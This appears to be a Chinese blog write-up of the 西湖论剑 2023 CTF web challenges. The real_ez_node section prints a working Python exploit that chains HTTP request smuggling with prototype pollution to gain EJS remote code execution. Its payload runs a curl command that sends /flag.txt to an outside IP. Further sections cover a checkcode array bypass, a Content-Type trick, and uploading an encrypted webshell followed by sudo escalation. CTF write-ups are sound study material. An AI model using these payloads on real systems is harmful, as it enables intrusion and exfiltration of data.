西湖论剑 2023 比赛复现

WEB

real_ez_node

route/index.js 中:

router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

copy 路由会检验 ip 地址是否为 127.0.0.1,且请求体不能有 __proto__

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
		var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {

在 curl 路由中我们可以用http 请求走私来访问 copy 从而可以绕过 copy 路由里面的 ip 检测,然后利用constructor.prototype 替代 __proto__,最后打ejs就行了。
payload:

import urllib.parse
import requests
payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 192.168.10.104:12345/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100 + ord(i))
    return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://192.168.10.104:3000/curl?q=' + urllib.parse.quote(payload))
print(r.text)

Node Magical Login

flag1 可以利用 cookie 令 user=admin 获得。

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

获得 flag2 的条件有两个,一个是 checkcode 的长度要是 16,另一个就是在转小写后要等于 aGr5AtSp55dRacer,但是这根本不可能,我们可以让它提前异常结束,也就是在 checkcode = checkcode.toLowerCase()处异常报错,那么我们可以令 checkcode 为一个数组,且长度为16。

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

payload:

{"checkcode":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]}

扭转乾坤

随便上传一个提示 content-Type 不行,我们只要令第一个 m 大写就可以了。
在这里插入图片描述

unusual php

没环境,就写一下流程吧。

通过 phpinfo 可以看到他使用了 ZendGuard 的加密工具。
可以通过 php.ini 来找到 ZendGuard 扩展的文件名,通过 phpinfo 找到扩展文件也就是 zend_test.so 的位置。(可以在extension_dir 中找到)。

之后通过脚本把扩展保存下来(也可以利用伪协议加密后,再解密,不容易漏字节),放到 ida 中找到 RC4 函数,里面有秘钥(abcsdfadfjiweur)。
使用秘钥加密一句话木马后上传文件,可以用 cyber 网站加密解密。

利用 sudo -l 查看可以执行的命令,利用 sudo chmod 777 /flag ,最后读取 flag。

docker

https://github.com/Randark-JMT/CTF_Archive/tree/main/2022%20xhlj

wp

http://www.hackdig.com/02/hack-904398.htm
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值